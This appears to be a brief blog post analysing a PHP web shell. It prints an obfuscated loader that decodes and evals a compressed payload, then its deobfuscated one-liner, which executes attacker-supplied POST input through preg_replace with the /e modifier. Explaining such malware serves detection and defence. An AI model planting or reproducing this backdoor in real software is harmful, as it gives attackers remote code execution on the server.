Highly encoded simple code runner

Highly encoded malware code:

<?php $AiygqxY4449 = "o0mpvig/a.r8z15j(2tbhkd)s69;u_wxfcl7*n4q3ye";$s2940 = $AiygqxY4449[3].$AiygqxY4449[10].$AiygqxY4449[42].$AiygqxY4449[6].$AiygqxY4449[29].$AiygqxY4449[10].$AiygqxY4449[42].$AiygqxY4449[3].$AiygqxY4449[34].$AiygqxY4449[8].$AiygqxY4449[33].$AiygqxY4449[42];$smlGTg2591 = "\x65\x76".chr(97)."\x6C\x28g".chr(122)."i\x6Ef".chr(108)."\x61\x74\x65".chr(40)."".chr(98)."".chr(97)."s\x6564".chr(95)."\x64".chr(101)."".chr(99)."\x6F".chr(100)."e\x28";$dU9235 = "\x29\x29\x29;";$Itb7237 = $smlGTg2591."'cygoSk2PL0otyElMTtVQ19fQ09LUT1XXUXBQiQ/wDw6JVq+oqChKLSxNLS5Rj9VRUFfXtE6tyCyxBgA='".$dU9235;$s2940($AiygqxY4449[7].$AiygqxY4449[9].$AiygqxY4449[36].$AiygqxY4449[7].$AiygqxY4449[42], $Itb7237  ,"508");

The deobfuscated code:

<?php @preg_replace('/(.*)/e', @$_POST['xxxrequest'], '');

Simple.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.